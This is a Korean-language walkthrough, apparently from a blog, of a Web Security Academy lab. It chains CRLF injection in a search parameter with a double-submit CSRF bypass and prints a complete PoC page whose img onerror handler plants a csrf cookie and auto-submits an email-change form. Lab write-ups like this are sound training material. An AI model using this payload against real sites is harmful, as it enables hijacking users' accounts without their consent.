반응형
문제 설명
CSRF 공격을 통해 사용자의 email을 변경하면 문제를 해결할 수 있다.
문제 풀이
wiener 계정으로 로그인한 상태에서 이메일 변경 요청을 진행하였다.
이메일 변경 요청 시 csrf 쿠키와 요청 파라미터의 csrf 값이 일치하는 것을 확인하였다.
csrf 쿠키와 csrf 파라미터의 값을 모두 1로 변조한 후 요청을 수행하였으며, 해당 요청이 정상적으로 처리되는 것을 확인하였다.
해당 웹 페이지에서 검색 기능이 존재하며, 검색을 진행하였다.
검색 기능에서 사용자가 입력한 검색어가 응답에 반영되는 것을 확인하였다. CRLF 인젝션을 통해 사용자가 임의의 HTTP 헤더 삽입이 가능하며, Set-Cookie 헤더를 이용하여 csrf 쿠키 임의로 지정하는 것이 가능하였따.
CSRF POC
먼저 img src 속성에 CRLF 인젝션 공격 구문을 삽입하여 csrf 쿠키에 임의의 값을 설정하였으며, SameSite=None 속성을 추가하여 크로스 도메인 요청에서도 쿠키가 전송되도록 허용하였다. 이후 onerror 이벤트가 실행되어 CSRF 공격이 발생하여 사용자의 이메일을 변경한다.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a7d007004b647f9d86a499f00d900f6.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="wiener1234@normal-user.net" />
<input type="hidden" name="csrf" value="1" />
<input type="submit" value="Submit request" />
</form>
<img src="https://0a7d007004b647f9d86a499f00d900f6.web-security-academy.net/?search=asdasd;%0d%0aSet-Cookie:%20csrf=1;%20SameSite=None" onerror="document.forms[0].submit()">
</body>
</html>
CSRF POC를 전송하여 문제를 해결하였다.
반응형